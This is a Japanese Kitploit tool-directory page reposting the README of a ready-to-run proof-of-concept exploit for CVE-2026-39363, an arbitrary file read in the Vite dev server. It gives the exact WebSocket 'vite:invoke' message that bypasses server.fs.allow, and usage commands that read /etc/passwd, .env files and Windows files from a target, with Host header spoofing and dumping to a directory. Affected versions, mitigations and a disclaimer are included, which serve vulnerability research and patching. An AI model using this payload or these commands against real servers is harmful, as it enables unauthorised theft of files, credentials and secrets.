Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39363 — CVE-2026-39363の便利で実用的なエクスプロイトツール | Kitploit
ツール/GitHubGitHub/sunynov/cve-2026-39363
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテスト
GitHubsunynov/cve-2026-39363

CVE-2026-39363

CVE-2026-39363の便利で実用的なエクスプロイトツール

リポジトリを見る
41ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39363 — Vite Dev Server 任意ファイル読み取り PoC

GHSA-p9ff-h696-f583 に対する、そのまま実行可能な PoC です。認証なしの HMR WebSocket 経由で fetchModule を呼び出し、HTTP レイヤーの server.fs.allow 制限を迂回して、dev server が動作しているマシン上の任意のファイルを読み取ります。

影響範囲

バージョン系統影響あり修正済み
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (VoidZero ブランチ)<=0.1.150.1.16

利用条件:

  • dev server がネットワークに公開されている(--host / server.host 設定)
  • HMR WebSocket が無効化されていない(デフォルトで有効。server.ws: false で無効化可能)

CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)、CWE-200 + CWE-306。 CISA SSVC は exploitation=poc, automatable=yes とマークしています。

原理

  1. HTTP レイヤーでの任意ファイル読み取りは server.fs.allow にブロックされます(/@fs/<絶対パス> → 403)。
  2. しかし HMR WebSocket のハンドシェイクは以下のみを検証します:
    • Sec-WebSocket-Protocol: vite-hmr ヘッダー
    • Origin ヘッダーが付いている場合のみ ?token= クエリパラメータを要求(CWE-306: 非ブラウザクライアントは Origin ヘッダーなしで直接接続可能)
  3. 接続後、vite:invoke カスタムイベントを送信してサーバー側に登録された fetchModule メソッドを呼び出し、file://<絶対パス>?raw を渡します。fetchModule は直接モジュール transform パイプラインを通るため、fs.allow チェックを完全に迂回し、ファイル内容を export default "..." として返します(CWE-200)。

vite:invoke リクエストメッセージ構造(v6/v7/v8 共通):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

サーバーは id が 1response に変わったレスポンスを返し、data.data.result.code にファイル内容が入ります。

使用方法

Python 3 標準ライブラリのみが必要で、サードパーティ依存はありません:

root@kitploit:~
# 単一ファイルを読む(POSIX パス)
python exp.py http://target:5173 /etc/passwd

# Windows パス + 複数ファイルを読む
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# ディレクトリに保存(ファイル名はパスから自動で安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 対象が allowedHosts のドメイン名ホワイトリストを設定している場合、IP/localhost を Host ヘッダーに使う
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

引数:

引数説明
urlターゲット。例: http://192.168.1.10:5173
files読み取る絶対パス。POSIX / Windows 形式どちらでも可
--host-headerHost ヘッダーを偽装(デフォルトはターゲットの host)。デフォルトでは IP/localhost のみ許可され、カスタムドメインは明示的な設定が必要
--ws-pathHMR WebSocket のパス。デフォルト /(対象が server.hmr.path を設定している場合は変更が必要)
--timeout1リクエストあたりのタイムアウト秒数。デフォルト 10
-o/--output-dir読み取った内容をディレクトリに保存

検証記録

このリポジトリの PoC は以下の環境で実測済みです(dev server root の外にある secret.txt を読み取り、HTTP @fs パスでは同じファイルが 403 を返すことを確認):

  • Vite 8.0.4(vite --host 0.0.0.0、Windows)
  • Vite 6.4.1(同左)
  • Vite 7.3.1 のソースコード比較により、メッセージ構造が v6/v8 と一致することを確認

再現手順(PoC と同じ経路):

root@kitploit:~
# 1. ネットワークに公開された影響を受ける dev server を起動
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP パスは fs.allow にブロックされる(想定どおり 403)
curl -i 'http://target:5173/@fs/<root外絶対パス>?raw'   # -> 403

# 3. WebSocket パスでは読み取り可能(本 PoC)
python exp.py http://target:5173 <root外絶対パス>

検出と対策

  • アップグレードして 6.4.2 / 7.3.2 / 8.0.5 に更新。
  • dev server を絶対にパブリックネットワークのアドレスにバインドしない(デフォルトでは localhost のみをリッスン)。
  • 本番ビルドでは vite build + 静的ホスティングを使用し、vite dev を実行しない。
  • アップグレードできない場合: server.ws: false で HMR を無効化するか、リバースプロキシを追加して dev server のポートに本機からのみアクセスできるようにする。

免責事項

正式に許可を得たペネトレーションテスト、脆弱性の再現、および防御研究にのみ使用してください。許可なく他者のシステムに本ツールを使用したことによる結果は、利用者の責任となります。

ツールをダウンロード